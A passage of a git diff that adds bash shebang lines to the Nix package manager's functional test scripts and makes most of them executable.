index d643fea04dd..b17cc2090ce
--- a/tests/functional/fetchGitRefs.sh
+++ b/tests/functional/fetchGitRefs.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 requireGit
diff --git a/tests/functional/fetchGitSubmodules.sh b/tests/functional/fetchGitSubmodules.sh
old mode 100644
new mode 100755
index bd82a0a1755..7c5f7b0d605
--- a/tests/functional/fetchGitSubmodules.sh
+++ b/tests/functional/fetchGitSubmodules.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 set -u
diff --git a/tests/functional/fetchGitVerification.sh b/tests/functional/fetchGitVerification.sh
old mode 100644
new mode 100755
index b80e061b5f5..27f9a8cf527
--- a/tests/functional/fetchGitVerification.sh
+++ b/tests/functional/fetchGitVerification.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 requireGit
diff --git a/tests/functional/fetchMercurial.sh b/tests/functional/fetchMercurial.sh
old mode 100644
new mode 100755
index 9f7cef7b2e6..f3774fc7488
--- a/tests/functional/fetchMercurial.sh
+++ b/tests/functional/fetchMercurial.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 [[ $(type -p hg) ]] || skipTest "Mercurial not installed"
diff --git a/tests/functional/fetchPath.sh b/tests/functional/fetchPath.sh
old mode 100644
new mode 100755
index 29be38ce2f5..e466e44946c
--- a/tests/functional/fetchPath.sh
+++ b/tests/functional/fetchPath.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 touch $TEST_ROOT/foo -t 202211111111
diff --git a/tests/functional/fetchTree-file.sh b/tests/functional/fetchTree-file.sh
old mode 100644
new mode 100755
index be698ea35d4..9c9532876d7
--- a/tests/functional/fetchTree-file.sh
+++ b/tests/functional/fetchTree-file.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/fetchurl.sh b/tests/functional/fetchurl.sh
old mode 100644
new mode 100755
index a3620f52b6f..2255dbbdcdf
--- a/tests/functional/fetchurl.sh
+++ b/tests/functional/fetchurl.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/filter-source.sh b/tests/functional/filter-source.sh
old mode 100644
new mode 100755
index ba34d2eac86..c5e10be9309
--- a/tests/functional/filter-source.sh
+++ b/tests/functional/filter-source.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 rm -rf $TEST_ROOT/filterin
diff --git a/tests/functional/fixed.sh b/tests/functional/fixed.sh
old mode 100644
new mode 100755
index 7bbecda9163..4d07d00cdb2
--- a/tests/functional/fixed.sh
+++ b/tests/functional/fixed.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/flakes/absolute-attr-paths.sh b/tests/functional/flakes/absolute-attr-paths.sh
old mode 100644
new mode 100755
index 491adceb72e..8ed1755c4b3
--- a/tests/functional/flakes/absolute-attr-paths.sh
+++ b/tests/functional/flakes/absolute-attr-paths.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source ./common.sh
 
 flake1Dir=$TEST_ROOT/flake1
diff --git a/tests/functional/flakes/absolute-paths.sh b/tests/functional/flakes/absolute-paths.sh
old mode 100644
new mode 100755
index e7bfba12d17..a355a7a1c07
--- a/tests/functional/flakes/absolute-paths.sh
+++ b/tests/functional/flakes/absolute-paths.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source ./common.sh
 
 requireGit
diff --git a/tests/functional/flakes/build-paths.sh b/tests/functional/flakes/build-paths.sh
old mode 100644
new mode 100755
index 4e5c6809567..a336471f08d
--- a/tests/functional/flakes/build-paths.sh
+++ b/tests/functional/flakes/build-paths.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source ./common.sh
 
 flake1Dir=$TEST_ROOT/flake1
diff --git a/tests/functional/flakes/bundle.sh b/tests/functional/flakes/bundle.sh
old mode 100644
new mode 100755
index 67bbb05ac5b..711691e0b9b
--- a/tests/functional/flakes/bundle.sh
+++ b/tests/functional/flakes/bundle.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 cp ../simple.nix ../simple.builder.sh ../config.nix $TEST_HOME
diff --git a/tests/functional/flakes/check.sh b/tests/functional/flakes/check.sh
old mode 100644
new mode 100755
index 0433e5335de..3b83dcafe4b
--- a/tests/functional/flakes/check.sh
+++ b/tests/functional/flakes/check.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 flakeDir=$TEST_ROOT/flake3
diff --git a/tests/functional/flakes/circular.sh b/tests/functional/flakes/circular.sh
old mode 100644
new mode 100755
index d3bb8e8a36b..6cab3a72b05
--- a/tests/functional/flakes/circular.sh
+++ b/tests/functional/flakes/circular.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 # Test circular flake dependencies.
 source ./common.sh
 
diff --git a/tests/functional/flakes/config.sh b/tests/functional/flakes/config.sh
old mode 100644
new mode 100755
index d1941a6bea3..66b9174570f
--- a/tests/functional/flakes/config.sh
+++ b/tests/functional/flakes/config.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 cp ../simple.nix ../simple.builder.sh ../config.nix $TEST_HOME
diff --git a/tests/functional/flakes/develop.sh b/tests/functional/flakes/develop.sh
old mode 100644
new mode 100755
index e1e53d36428..83be2e308b5
--- a/tests/functional/flakes/develop.sh
+++ b/tests/functional/flakes/develop.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source ../common.sh
 
 clearStore
diff --git a/tests/functional/flakes/flake-in-submodule.sh b/tests/functional/flakes/flake-in-submodule.sh
old mode 100644
new mode 100755
index 85a4d33898f..2988352a995
--- a/tests/functional/flakes/flake-in-submodule.sh
+++ b/tests/functional/flakes/flake-in-submodule.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 # Tests that:
diff --git a/tests/functional/flakes/flakes.sh b/tests/functional/flakes/flakes.sh
old mode 100644
new mode 100755
index 35b0c5d8491..3057c029360
--- a/tests/functional/flakes/flakes.sh
+++ b/tests/functional/flakes/flakes.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source ./common.sh
 
 requireGit
diff --git a/tests/functional/flakes/follow-paths.sh b/tests/functional/flakes/follow-paths.sh
old mode 100644
new mode 100755
index 1afd91bd2f8..ea56b950389
--- a/tests/functional/flakes/follow-paths.sh
+++ b/tests/functional/flakes/follow-paths.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source ./common.sh
 
 requireGit
diff --git a/tests/functional/flakes/init.sh b/tests/functional/flakes/init.sh
old mode 100644
new mode 100755
index 2d4c77ba166..f8d51e819c9
--- a/tests/functional/flakes/init.sh
+++ b/tests/functional/flakes/init.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source ./common.sh
 
 requireGit
diff --git a/tests/functional/flakes/inputs.sh b/tests/functional/flakes/inputs.sh
old mode 100644
new mode 100755
index 80620488a56..0327a3e9e0f
--- a/tests/functional/flakes/inputs.sh
+++ b/tests/functional/flakes/inputs.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source ./common.sh
 
 requireGit
diff --git a/tests/functional/flakes/mercurial.sh b/tests/functional/flakes/mercurial.sh
old mode 100644
new mode 100755
index 7074af6f7d4..0e9f2d626e8
--- a/tests/functional/flakes/mercurial.sh
+++ b/tests/functional/flakes/mercurial.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source ./common.sh
 
 [[ $(type -p hg) ]] || skipTest "Mercurial not installed"
diff --git a/tests/functional/flakes/prefetch.sh b/tests/functional/flakes/prefetch.sh
old mode 100644
new mode 100755
index bfd0533f9d0..a451b712009
--- a/tests/functional/flakes/prefetch.sh
+++ b/tests/functional/flakes/prefetch.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 # Test symlinks in zip files (#10649).
diff --git a/tests/functional/flakes/run.sh b/tests/functional/flakes/run.sh
old mode 100644
new mode 100755
index 9fa51d1c73a..4d8b512b9b1
--- a/tests/functional/flakes/run.sh
+++ b/tests/functional/flakes/run.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source ../common.sh
 
 clearStore
diff --git a/tests/functional/flakes/search-root.sh b/tests/functional/flakes/search-root.sh
old mode 100644
new mode 100755
index 6b137aa860c..c2337edc0d4
--- a/tests/functional/flakes/search-root.sh
+++ b/tests/functional/flakes/search-root.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/flakes/show.sh b/tests/functional/flakes/show.sh
old mode 100644
new mode 100755
index a3d30055233..22e1f419376
--- a/tests/functional/flakes/show.sh
+++ b/tests/functional/flakes/show.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source ./common.sh
 
 flakeDir=$TEST_ROOT/flake
diff --git a/tests/functional/flakes/unlocked-override.sh b/tests/functional/flakes/unlocked-override.sh
old mode 100644
new mode 100755
index 8abc8b7d3e7..680a1505c8c
--- a/tests/functional/flakes/unlocked-override.sh
+++ b/tests/functional/flakes/unlocked-override.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source ./common.sh
 
 requireGit
diff --git a/tests/functional/fmt.sh b/tests/functional/fmt.sh
old mode 100644
new mode 100755
index 3c1bd998988..8fc9a3979e5
--- a/tests/functional/fmt.sh
+++ b/tests/functional/fmt.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/function-trace.sh b/tests/functional/function-trace.sh
index bd804bf18a6..71f18b67f9f 100755
--- a/tests/functional/function-trace.sh
+++ b/tests/functional/function-trace.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 set +x
diff --git a/tests/functional/gc-auto.sh b/tests/functional/gc-auto.sh
old mode 100644
new mode 100755
index 281eef20da3..98bb7e60ee1
--- a/tests/functional/gc-auto.sh
+++ b/tests/functional/gc-auto.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 needLocalStore "“min-free” and “max-free” are daemon options"
diff --git a/tests/functional/gc-concurrent.sh b/tests/functional/gc-concurrent.sh
old mode 100644
new mode 100755
index 2c6622c626c..67ea3dc742a
--- a/tests/functional/gc-concurrent.sh
+++ b/tests/functional/gc-concurrent.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/gc-non-blocking.sh b/tests/functional/gc-non-blocking.sh
old mode 100644
new mode 100755
index ec280badbc1..ecfa421fb5a
--- a/tests/functional/gc-non-blocking.sh
+++ b/tests/functional/gc-non-blocking.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 # Test whether the collector is non-blocking, i.e. a build can run in
 # parallel with it.
 source common.sh
diff --git a/tests/functional/gc-runtime.sh b/tests/functional/gc-runtime.sh
old mode 100644
new mode 100755
index dc1826a557b..2ee72b61e81
--- a/tests/functional/gc-runtime.sh
+++ b/tests/functional/gc-runtime.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 case $system in
diff --git a/tests/functional/gc.sh b/tests/functional/gc.sh
old mode 100644
new mode 100755
index ad09a8b3915..1f216ebc788
--- a/tests/functional/gc.sh
+++ b/tests/functional/gc.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/hash-convert.sh b/tests/functional/hash-convert.sh
old mode 100644
new mode 100755
index 9b3afc10b27..3a099950ff9
--- a/tests/functional/hash-convert.sh
+++ b/tests/functional/hash-convert.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 # Conversion with `nix hash` `nix-hash` and `nix hash convert`
diff --git a/tests/functional/hash-path.sh b/tests/functional/hash-path.sh
old mode 100644
new mode 100755
index 4ad9f8ff2ec..12605ef71ce
--- a/tests/functional/hash-path.sh
+++ b/tests/functional/hash-path.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 try () {
diff --git a/tests/functional/help.sh b/tests/functional/help.sh
old mode 100644
new mode 100755
index 868f5d2e921..6436fb50096
--- a/tests/functional/help.sh
+++ b/tests/functional/help.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/import-derivation.sh b/tests/functional/import-derivation.sh
old mode 100644
new mode 100755
index 98d61ef49b9..53efa1f5d4f
--- a/tests/functional/import-derivation.sh
+++ b/tests/functional/import-derivation.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/impure-derivations.sh b/tests/functional/impure-derivations.sh
old mode 100644
new mode 100755
index 54ed6f5ddf2..b59f73c77d9
--- a/tests/functional/impure-derivations.sh
+++ b/tests/functional/impure-derivations.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 requireDaemonNewerThan "2.8pre20220311"
diff --git a/tests/functional/impure-env.sh b/tests/functional/impure-env.sh
old mode 100644
new mode 100755
index cfea4cae9bf..3c7df169eb5
--- a/tests/functional/impure-env.sh
+++ b/tests/functional/impure-env.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 # Needs the config option 'impure-env' to work
diff --git a/tests/functional/impure-eval.sh b/tests/functional/impure-eval.sh
old mode 100644
new mode 100755
index 6c72f01d7af..33a5ea4092a
--- a/tests/functional/impure-eval.sh
+++ b/tests/functional/impure-eval.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 export REMOTE_STORE="dummy://"
diff --git a/tests/functional/lang-test-infra.sh b/tests/functional/lang-test-infra.sh
old mode 100644
new mode 100755
index 30da8977b6a..f32ccef0513
--- a/tests/functional/lang-test-infra.sh
+++ b/tests/functional/lang-test-infra.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 # Test the function for lang.sh
 source common.sh
 
diff --git a/tests/functional/lang.sh b/tests/functional/lang.sh
index 60603cebe82..a853cfd819d 100755
--- a/tests/functional/lang.sh
+++ b/tests/functional/lang.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 set -o pipefail
diff --git a/tests/functional/legacy-ssh-store.sh b/tests/functional/legacy-ssh-store.sh
old mode 100644
new mode 100755
index 56b4c2d204c..3a1a7b02264
--- a/tests/functional/legacy-ssh-store.sh
+++ b/tests/functional/legacy-ssh-store.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 store_uri="ssh://localhost?remote-store=$TEST_ROOT/other-store"
diff --git a/tests/functional/linux-sandbox.sh b/tests/functional/linux-sandbox.sh
old mode 100644
new mode 100755
index e553791d90e..e71224f5ecf
--- a/tests/functional/linux-sandbox.sh
+++ b/tests/functional/linux-sandbox.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 needLocalStore "the sandbox only runs on the builder side, so it makes no sense to test it with the daemon"
diff --git a/tests/functional/logging.sh b/tests/functional/logging.sh
old mode 100644
new mode 100755
index 1ccc21d0bce..63752f6db21
--- a/tests/functional/logging.sh
+++ b/tests/functional/logging.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/misc.sh b/tests/functional/misc.sh
old mode 100644
new mode 100755
index d4379b7ce7b..9eb80ad2269
--- a/tests/functional/misc.sh
+++ b/tests/functional/misc.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 # Tests miscellaneous commands.
diff --git a/tests/functional/multiple-outputs.sh b/tests/functional/multiple-outputs.sh
old mode 100644
new mode 100755
index 330600d08ec..af9f8af7268
--- a/tests/functional/multiple-outputs.sh
+++ b/tests/functional/multiple-outputs.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/nar-access.sh b/tests/functional/nar-access.sh
old mode 100644
new mode 100755
index 87981e7d902..8839fd04310
--- a/tests/functional/nar-access.sh
+++ b/tests/functional/nar-access.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 echo "building test path"
diff --git a/tests/functional/nested-sandboxing.sh b/tests/functional/nested-sandboxing.sh
old mode 100644
new mode 100755
index 61fe043c6a8..44c3bb2bc7b
--- a/tests/functional/nested-sandboxing.sh
+++ b/tests/functional/nested-sandboxing.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 # This test is run by `tests/functional/nested-sandboxing/runner.nix` in an extra layer of sandboxing.
 [[ -d /nix/store ]] || skipTest "running this test without Nix's deps being drawn from /nix/store is not yet supported"
diff --git a/tests/functional/nix-build.sh b/tests/functional/nix-build.sh
old mode 100644
new mode 100755
index 44a5a14cd28..45ff314c71f
--- a/tests/functional/nix-build.sh
+++ b/tests/functional/nix-build.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/nix-channel.sh b/tests/functional/nix-channel.sh
old mode 100644
new mode 100755
index ca5df3bddcb..a4870e7a806
--- a/tests/functional/nix-channel.sh
+++ b/tests/functional/nix-channel.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearProfiles
diff --git a/tests/functional/nix-collect-garbage-d.sh b/tests/functional/nix-collect-garbage-d.sh
old mode 100644
new mode 100755
index bf30f893860..07aaf61e99c
--- a/tests/functional/nix-collect-garbage-d.sh
+++ b/tests/functional/nix-collect-garbage-d.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/nix-copy-ssh-ng.sh b/tests/functional/nix-copy-ssh-ng.sh
old mode 100644
new mode 100755
index 62e99cd2477..1fd735b9df0
--- a/tests/functional/nix-copy-ssh-ng.sh
+++ b/tests/functional/nix-copy-ssh-ng.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 source nix-copy-ssh-common.sh "ssh-ng"
diff --git a/tests/functional/nix-copy-ssh.sh b/tests/functional/nix-copy-ssh.sh
old mode 100644
new mode 100755
index 12e8346bcfd..1dc256e49b3
--- a/tests/functional/nix-copy-ssh.sh
+++ b/tests/functional/nix-copy-ssh.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 source nix-copy-ssh-common.sh "ssh"
diff --git a/tests/functional/nix-profile.sh b/tests/functional/nix-profile.sh
old mode 100644
new mode 100755
index 7c4da628327..3e5846cf2f8
--- a/tests/functional/nix-profile.sh
+++ b/tests/functional/nix-profile.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/nix-shell.sh b/tests/functional/nix-shell.sh
old mode 100644
new mode 100755
index 04c83138e7c..c38107e64e8
--- a/tests/functional/nix-shell.sh
+++ b/tests/functional/nix-shell.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/nix_path.sh b/tests/functional/nix_path.sh
old mode 100644
new mode 100755
index 2b222b4a1e4..e6a2193f397
--- a/tests/functional/nix_path.sh
+++ b/tests/functional/nix_path.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 # Regression for https://github.com/NixOS/nix/issues/5998 and https://github.com/NixOS/nix/issues/5980
 
 source common.sh
diff --git a/tests/functional/optimise-store.sh b/tests/functional/optimise-store.sh
old mode 100644
new mode 100755
index 8c2d05cd542..70ce954f9bc
--- a/tests/functional/optimise-store.sh
+++ b/tests/functional/optimise-store.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/output-normalization.sh b/tests/functional/output-normalization.sh
old mode 100644
new mode 100755
index 0f6df5e317f..2b319201af9
--- a/tests/functional/output-normalization.sh
+++ b/tests/functional/output-normalization.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 testNormalization () {
diff --git a/tests/functional/pass-as-file.sh b/tests/functional/pass-as-file.sh
old mode 100644
new mode 100755
index 2c0bc5031ad..21d9ffc6d72
--- a/tests/functional/pass-as-file.sh
+++ b/tests/functional/pass-as-file.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/path-from-hash-part.sh b/tests/functional/path-from-hash-part.sh
old mode 100644
new mode 100755
index bdd10443448..41d1b7410f6
--- a/tests/functional/path-from-hash-part.sh
+++ b/tests/functional/path-from-hash-part.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 path=$(nix build --no-link --print-out-paths -f simple.nix)
diff --git a/tests/functional/path-info.sh b/tests/functional/path-info.sh
old mode 100644
new mode 100755
index 763935eb71e..8597de68341
--- a/tests/functional/path-info.sh
+++ b/tests/functional/path-info.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 echo foo > $TEST_ROOT/foo
diff --git a/tests/functional/placeholders.sh b/tests/functional/placeholders.sh
old mode 100644
new mode 100755
index cd1bb7bc2aa..f2b8bf6bfe9
--- a/tests/functional/placeholders.sh
+++ b/tests/functional/placeholders.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/plugins.sh b/tests/functional/plugins.sh
old mode 100644
new mode 100755
index baf71a362ce..ab4876df9da
--- a/tests/functional/plugins.sh
+++ b/tests/functional/plugins.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 if [[ $BUILD_SHARED_LIBS != 1 ]]; then
diff --git a/tests/functional/post-hook.sh b/tests/functional/post-hook.sh
old mode 100644
new mode 100755
index 752f8220cda..c0b1ab3aae5
--- a/tests/functional/post-hook.sh
+++ b/tests/functional/post-hook.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/pure-eval.sh b/tests/functional/pure-eval.sh
old mode 100644
new mode 100755
index 5334bf28e9b..6d8aa35ecec
--- a/tests/functional/pure-eval.sh
+++ b/tests/functional/pure-eval.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/read-only-store.sh b/tests/functional/read-only-store.sh
old mode 100644
new mode 100755
index 834ac1b5149..ecc57642d19
--- a/tests/functional/read-only-store.sh
+++ b/tests/functional/read-only-store.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 enableFeatures "read-only-local-store"
diff --git a/tests/functional/readfile-context.sh b/tests/functional/readfile-context.sh
old mode 100644
new mode 100755
index 31e70ddb1fc..76fad9349ed
--- a/tests/functional/readfile-context.sh
+++ b/tests/functional/readfile-context.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/recursive.sh b/tests/functional/recursive.sh
old mode 100644
new mode 100755
index 0bf00f8fa75..a9966aabd75
--- a/tests/functional/recursive.sh
+++ b/tests/functional/recursive.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 enableFeatures 'recursive-nix'
diff --git a/tests/functional/referrers.sh b/tests/functional/referrers.sh
old mode 100644
new mode 100755
index 81323c280c5..898032e423f
--- a/tests/functional/referrers.sh
+++ b/tests/functional/referrers.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 needLocalStore "uses some low-level store manipulations that aren’t available through the daemon"
diff --git a/tests/functional/remote-store.sh b/tests/functional/remote-store.sh
old mode 100644
new mode 100755
index e2c16f18ad6..171a5d39172
--- a/tests/functional/remote-store.sh
+++ b/tests/functional/remote-store.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/repair.sh b/tests/functional/repair.sh
old mode 100644
new mode 100755
index c8f07b1c666..552e04280f9
--- a/tests/functional/repair.sh
+++ b/tests/functional/repair.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 needLocalStore "--repair needs a local store"
diff --git a/tests/functional/repl.sh b/tests/functional/repl.sh
old mode 100644
new mode 100755
index 222145a7a3a..fca98280762
--- a/tests/functional/repl.sh
+++ b/tests/functional/repl.sh
@@ -1,4 +1,5 @@
 #!/usr/bin/env bash
+
 source common.sh
 
 testDir="$PWD"
diff --git a/tests/functional/restricted.sh b/tests/functional/restricted.sh
old mode 100644
new mode 100755
index 3de26eb36a4..ab4cad5cf33
--- a/tests/functional/restricted.sh
+++ b/tests/functional/restricted.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/search.sh b/tests/functional/search.sh
old mode 100644
new mode 100755
index d9c7a75da48..ce17411d27b
--- a/tests/functional/search.sh
+++ b/tests/functional/search.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/secure-drv-outputs.sh b/tests/functional/secure-drv-outputs.sh
old mode 100644
new mode 100755
index 50a9c4428d3..7d81db58b72
--- a/tests/functional/secure-drv-outputs.sh
+++ b/tests/functional/secure-drv-outputs.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 # Test that users cannot register specially-crafted derivations that
 # produce output paths belonging to other derivations.  This could be
 # used to inject malware into the store.
diff --git a/tests/functional/selfref-gc.sh b/tests/functional/selfref-gc.sh
old mode 100644
new mode 100755
index 3f1f50eea65..37ce33089f1
--- a/tests/functional/selfref-gc.sh
+++ b/tests/functional/selfref-gc.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 requireDaemonNewerThan "2.6.0pre20211215"
diff --git a/tests/functional/shell.sh b/tests/functional/shell.sh
old mode 100644
new mode 100755
index 8a3fef3e7b1..e6bb4b161c9
--- a/tests/functional/shell.sh
+++ b/tests/functional/shell.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/signing.sh b/tests/functional/signing.sh
old mode 100644
new mode 100755
index 942b516306d..bcbd3b675d2
--- a/tests/functional/signing.sh
+++ b/tests/functional/signing.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/simple.sh b/tests/functional/simple.sh
old mode 100644
new mode 100755
index 50d44f93f21..846738cbd19
--- a/tests/functional/simple.sh
+++ b/tests/functional/simple.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 drvPath=$(nix-instantiate simple.nix)
diff --git a/tests/functional/ssh-relay.sh b/tests/functional/ssh-relay.sh
old mode 100644
new mode 100755
index 053b2f00d05..059c664348a
--- a/tests/functional/ssh-relay.sh
+++ b/tests/functional/ssh-relay.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 echo foo > $TEST_ROOT/hello.sh
diff --git a/tests/functional/store-info.sh b/tests/functional/store-info.sh
old mode 100644
new mode 100755
index 18a8131a92a..2398f5bebdf
--- a/tests/functional/store-info.sh
+++ b/tests/functional/store-info.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 STORE_INFO=$(nix store info 2>&1)
diff --git a/tests/functional/structured-attrs.sh b/tests/functional/structured-attrs.sh
old mode 100644
new mode 100755
index 6711efbb4f8..ba7f5967e84
--- a/tests/functional/structured-attrs.sh
+++ b/tests/functional/structured-attrs.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 # 27ce722638 required some incompatible changes to the nix file, so skip this
diff --git a/tests/functional/substitute-with-invalid-ca.sh b/tests/functional/substitute-with-invalid-ca.sh
old mode 100644
new mode 100755
index 4d0b01e0f04..d8af67237b8
--- a/tests/functional/substitute-with-invalid-ca.sh
+++ b/tests/functional/substitute-with-invalid-ca.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 BINARY_CACHE=file://$cacheDir
diff --git a/tests/functional/suggestions.sh b/tests/functional/suggestions.sh
old mode 100644
new mode 100755
index f18fefef98f..6ec1cd322f6
--- a/tests/functional/suggestions.sh
+++ b/tests/functional/suggestions.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/supplementary-groups.sh b/tests/functional/supplementary-groups.sh
old mode 100644
new mode 100755
index d18fb24147c..9d474219f92
--- a/tests/functional/supplementary-groups.sh
+++ b/tests/functional/supplementary-groups.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 requireSandboxSupport
diff --git a/tests/functional/tarball.sh b/tests/functional/tarball.sh
old mode 100644
new mode 100755
index 062f27ad61b..ce162ddcef0
--- a/tests/functional/tarball.sh
+++ b/tests/functional/tarball.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/test-infra.sh b/tests/functional/test-infra.sh
old mode 100644
new mode 100755
index 54ae120e7ee..37322b356d4
--- a/tests/functional/test-infra.sh
